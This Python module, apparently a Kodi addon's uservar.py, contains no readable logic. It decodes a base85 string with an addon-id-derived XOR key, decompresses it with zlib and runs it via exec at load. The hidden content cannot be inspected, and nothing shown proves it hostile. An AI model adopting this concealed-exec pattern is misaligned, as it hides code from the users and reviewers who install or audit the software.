# -*- coding: utf-8 -*-
# uservar.py (obfuscated)
# Scheme: zlib -> XOR(key) -> base85 ; runtime: base85 -> XOR(key) -> zlib -> exec
import base64, zlib, itertools

def _ptw_key():
    try:
        import xbmcaddon
        a = xbmcaddon.Addon()
        # Derive key from addon id (stable across versions)
        return (a.getAddonInfo('id') or 'plugin.program.PLTW_K20').encode('utf-8')
    except Exception:
        # Fallback key if xbmcaddon is unavailable during static analysis
        return b'plugin.program.PLTW_K20'

def _ptw_xor(data: bytes, key: bytes) -> bytes:
    import itertools
    return bytes(b ^ k for b, k in zip(data, itertools.cycle(key)))

_PAYLOAD = '2)4LC1OfE8WRZz25XZ)v<$xC*@!;+{m6hlEHV^Rn2GB)THzO#F2RqQ9E2q>sik$adO|aJ6MjsZ|X4#;nF2H#G3`0)10?01}w_}->9Q`B2pJ3iI2~?`3vK@ojo{7S-fEf9@P$tf0XHZOd7xOU$mPk--(LMCN@mlfhvhZKDplvs^{g87@p7V2X)2|J&{{swjtvqI<3QqF<t?_#+i%InzZPD9MelRtJR`Fwr7TVvV@q3kVHK&~D0*Zw>t4{9#u&;!tQfDt&GWB?1Glh#q5m+viT_)>t!jM9Pc9>``yEPF_5W-NEl)w~)6!-7+jIPWN-@4}T2sNqE)30(8jtX&>34)1wxm&;seG6BH*?tuE14i|FWuq&uPxVZRlWR~-sxN?pJDtfwv3<*EEsd|rm@jMu#*(=n6xfSN^PmN_B3*VLFCykGQK<R0wOqYCMUQe5@Z?|aiv?qS2^gxJV<{+`_)Rg3H_xv#Y8>{z;S$c3aeSIp7Svc`ibr*)2L6FC&>EB0LLZusdxSl*j;>@Z;?!nxw!&KuAzY+PNXcOAv{Ge7d#ECHvUa_&qpe+rb)T~20^2uP@DBEs^4>kO3NMnK{jIj!-uJ@w#msPK`yMh~9*{|_@G>8?yC4h>02n(i3zHD|P-a}ZdyMx=k_g5Tvn?*;X5MRP#b>%f;bb+#8<#X{Zz}1P(%HNANT#LF0Wgn-&%L}uo8_NV{uV6{9H^Z_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ADt7U6h=JuoZ1<gXPEa)?Mbbge3Spqbd<{6pMai5yh8M=FXK3pTK<)rAY_vB>Sc)@5+c|VsfRg7D%$UjDy=L~XXGX7~4*++RACvQ)ZTOC<0FMUH=1G%Ek1DJrp@GE7$u%a1RNBg~8sf4|d?sq=ig4}aHlp$u5|3t-$jZ1fXr!C``WFcnJdP7%y~|kiPV`x;$;U_Q!;2N2|1S`GKE2E}M+a>1%pbR)zv^KYb|>b%^`$(QyDevHXywaPG9et7)^R)(&D3~4CLdURUnu|GiP#BVG)@>847A>n!rP&D@m-kn3Xwim6O)zT&L<!WiZy-`8z`hfPFTs6S8>XK^t8qCc*o3JsfTogUmEy8O;vHLXZAX2ymI{O0<jFn#)h@=l3y;(5&n>P&J(T=wXAYh^)0@J)|0%sm%U4c8W-5ePpuKm(!;hq?@}pndjZCCF26vT4~Z%`5{c+E$2@g&RAHV=^8F+qFu8b6Chp!)@~!BQ`6Z=wO9CjBE-om)$x#(i&CLaYlsP75D?hB#Mp54#swXNy30B!ATc)7GO|rQ2J=~kisr+lbDz%&KmqYM_oEr'

_key = _ptw_key()
_data = base64.b85decode(_PAYLOAD)
_data = _ptw_xor(_data, _key)
_code = zlib.decompress(_data).decode('utf-8', errors='replace')
# Execute original module content in its own globals (preserves variables/constants)
exec(compile(_code, __file__, 'exec'))
